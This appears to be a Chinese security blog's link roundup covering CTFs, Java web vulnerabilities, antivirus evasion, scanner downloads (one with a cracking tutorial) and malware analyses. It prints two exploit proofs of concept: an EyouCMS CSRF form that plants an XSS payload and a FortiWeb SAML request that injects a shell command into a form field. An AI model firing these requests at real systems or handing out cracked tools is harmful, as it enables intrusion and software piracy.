汇总一些感兴趣的文章留着然后慢慢看
0x01 CTF
祥云杯网络安全大赛
https://mp.weixin.qq.com/s/miKQzH4AINoGeeWChRuBlw
0X02 实战相关
java
有篇关于实战java web的文章 可以学习一下
https://mp.weixin.qq.com/s/X1MxXyyiyuKVSOJ6l3WULw
fastjson漏洞复现
https://mp.weixin.qq.com/s/bqGkY4E8S9MFCxzOGGyPdw
tomcat
https://mp.weixin.qq.com/s/av9QoMhQTjr1S0oq8-Ri9w
Struts2漏洞总结
https://mp.weixin.qq.com/s/EizBtsONdmWXyWG2b7ncJg
免杀
https://mp.weixin.qq.com/s/KJ9yRUNzUjZ86sVTQG5e7A
https://mp.weixin.qq.com/s/tujT6CHQ6Z1_MfgYW_g1fA
0x03 工具使用
最近关注的几款安全工具，简单汇总一下各个工具的下载地址，内容来自网络，侵权删除：用来备份：
AWVS14.4
AWVS14.4.210816098更新于2021年8月16日，适用于 Windows、Linux 和 macOS 的版本，其中针对CVE2021-29441/28164等等漏洞的新检查。
链接：https://pan.baidu.com/s/1yNblBHs3-GD2mXEFTF2VIw 提取码：lpin
破解教程：链接：https://pan.baidu.com/s/122avTaSHpdEaZWlh2J9oRw 提取码：9ear
BurpSuite2021.8.1
BurpSuite2021.8.1版本发布于2021年8月12日，属于测试版本，此版本提供了几个错误修复，最显着的是修复了影响某些扩展的内存泄漏问题。
链接：https://pan.baidu.com/s/1GLLbSHc2yxKL3YLSrNGtOA 提取码：e41k
红队信息收集可视化Pulsar
https://mp.weixin.qq.com/s/zKmSeIWiG35pMxFZE7433A
0x04 漏洞
EyouCMS 跨站脚本漏洞
https://github.com/eyoucms/eyoucms/issues/6
EyouCMS 跨站请求伪造漏洞
https://github.com/eyoucms/eyoucms/issues/5
1<html>
2 <!-- CSRF PoC - Create /template/hack1.htm-->
3 <body>
4 <script>history.pushState('', '', '/')</script>
5 <form action="http://localhost/eyoucms/login.php?m=admin&c=Filemanager&a=newfile&lang=cn" method="POST">
6 <input type="hidden" name="activepath" value="/template" />
7 <input type="hidden" name="filename" value="hack1.htm" />
8 <input type="hidden" name="content" value="<svg onload=alert("hack")>" />
9 <input type="submit" value="Submit request" />
10 </form>
11 </body>
12</html>
Fortinet FortiWeb OS 命令注入
FortiWeb 管理界面（版本 6.3.11 及更早版本）中的操作系统命令注入漏洞可允许远程、经过身份验证的攻击者通过 SAML 服务器配置页面在系统上执行任意命令。
https://mp.weixin.qq.com/s/-qJh2u0mbrKWxWNCZgOrVw
1POST /api/v2.0/user/remoteserver.saml HTTP/1.1
2Host: [redacted]
3Cookie: [redacted]
4User-Agent: [redacted]
5Accept: application/json, text/plain, */*
6Accept-Language: en-US,en;q=0.5
7Accept-Encoding: gzip, deflate
8Referer: https://[redacted]/root/user/remote-user/saml-user/
9X-Csrftoken: 814940160
10Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
11Content-Length: 3068
12Origin: https://[redacted]
13Dnt: 1
14Te: trailers
15Connection: close
16-----------------------------94351131111899571381631694412
17Content-Disposition: form-data; name="q_type"
181
19-----------------------------94351131111899571381631694412
20Content-Disposition: form-data; name="name"
21`touch /tmp/vulnerable`
22-----------------------------94351131111899571381631694412
23Content-Disposition: form-data; name="entityID"
24test
25-----------------------------94351131111899571381631694412
26Content-Disposition: form-data; name="service-path"
27/saml.sso
28-----------------------------94351131111899571381631694412
29Content-Disposition: form-data; name="session-lifetime"
308
31-----------------------------94351131111899571381631694412
32Content-Disposition: form-data; name="session-timeout"
3330
34-----------------------------94351131111899571381631694412
35Content-Disposition: form-data; name="sso-bind"
36post
37-----------------------------94351131111899571381631694412
38Content-Disposition: form-data; name="sso-bind_val"
391
40-----------------------------94351131111899571381631694412
41Content-Disposition: form-data; name="sso-path"
42/SAML2/POST
43-----------------------------94351131111899571381631694412
44Content-Disposition: form-data; name="slo-bind"
45post
46-----------------------------94351131111899571381631694412
47Content-Disposition: form-data; name="slo-bind_val"
481
49-----------------------------94351131111899571381631694412
50Content-Disposition: form-data; name="slo-path"
51/SLO/POST
52-----------------------------94351131111899571381631694412
53Content-Disposition: form-data; name="flag"
540
55-----------------------------94351131111899571381631694412
56Content-Disposition: form-data; name="enforce-signing"
57disable
58-----------------------------94351131111899571381631694412
59Content-Disposition: form-data; name="enforce-signing_val"
600
61-----------------------------94351131111899571381631694412
62Content-Disposition: form-data; name="metafile"; filename="test.xml"
63Content-Type: text/xml
64<?xml version="1.0"?>
65<md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" validUntil="2021-06-12T16:54:31Z" cacheDuration="PT1623948871S" entityID="test">
66<md:IDPSSODescriptor WantAuthnRequestsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
67<md:KeyDescriptor use="signing">
68<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
69<ds:X509Data>
70<ds:X509Certificate>test</ds:X509Certificate>
71</ds:X509Data>
72</ds:KeyInfo>
73</md:KeyDescriptor>
74<md:KeyDescriptor use="encryption">
75<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
76<ds:X509Data>
77<ds:X509Certificate>test</ds:X509Certificate>
78</ds:X509Data>
79</ds:KeyInfo>
80</md:KeyDescriptor>
81<md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified</md:NameIDFormat>
82<md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="test"/>
83</md:IDPSSODescriptor>
84</md:EntityDescriptor>
85-----------------------------94351131111899571381631694412--
86HTTP/1.1 500 Internal Server Error
87Date: Thu, 10 Jun 2021 11:59:45 GMT
88Cache-Control: no-cache, no-store, must-revalidate
89Pragma: no-cache
90Set-Cookie: [redacted]
91X-Frame-Options: SAMEORIGIN
92X-XSS-Protection: 1; mode=block
93Content-Security-Policy: frame-ancestors 'self'
94X-Content-Type-Options: nosniff
95Content-Length: 20
96Strict-Transport-Security: max-age=63072000
97Connection: close
98Content-Type: application/json
99{"errcode": "-651"}
Exchange proxyshell
https://blog.csdn.net/HBohan/article/details/119780758
https://www.bloggingforlogging.com/2018/08/14/powershell-remoting-on-python/
https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/how-to-add-attachments-by-using-ews-in-exchange
https://www.hedysx.com/2782.html
https://www.thezdi.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell
https://mp.weixin.qq.com/s/-qJh2u0mbrKWxWNCZgOrVw
Xstream反序列化远程代码执行漏洞
暂无
0x05安全防护
开源蜜罐相关
https://www.sohu.com/a/192359353_653604
0x06 样本分析
对APT攻击样本的探索
https://mp.weixin.qq.com/s/bW19Q1RKEVI_ZxFAcWPi3g
Linux挖矿木马WorkMiner
https://mp.weixin.qq.com/s/HxMoq4Inr0brornVlAjNNw
假冒FBI、CIA传播多个病毒木马，中招将被完全控制，还会群发邮件感染U盘
https://mp.weixin.qq.com/s/pLE6XXpVtNPocjGdwCBLLw
0x07 FUZZ 学习
https://github.com/antonio-morales/Fuzzing101
0x08 IOT
控制整个小区住户的智能家居与可视对讲
本文始发于微信公众号（无级安全）：知识的搬运工系列-本期文章汇总
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论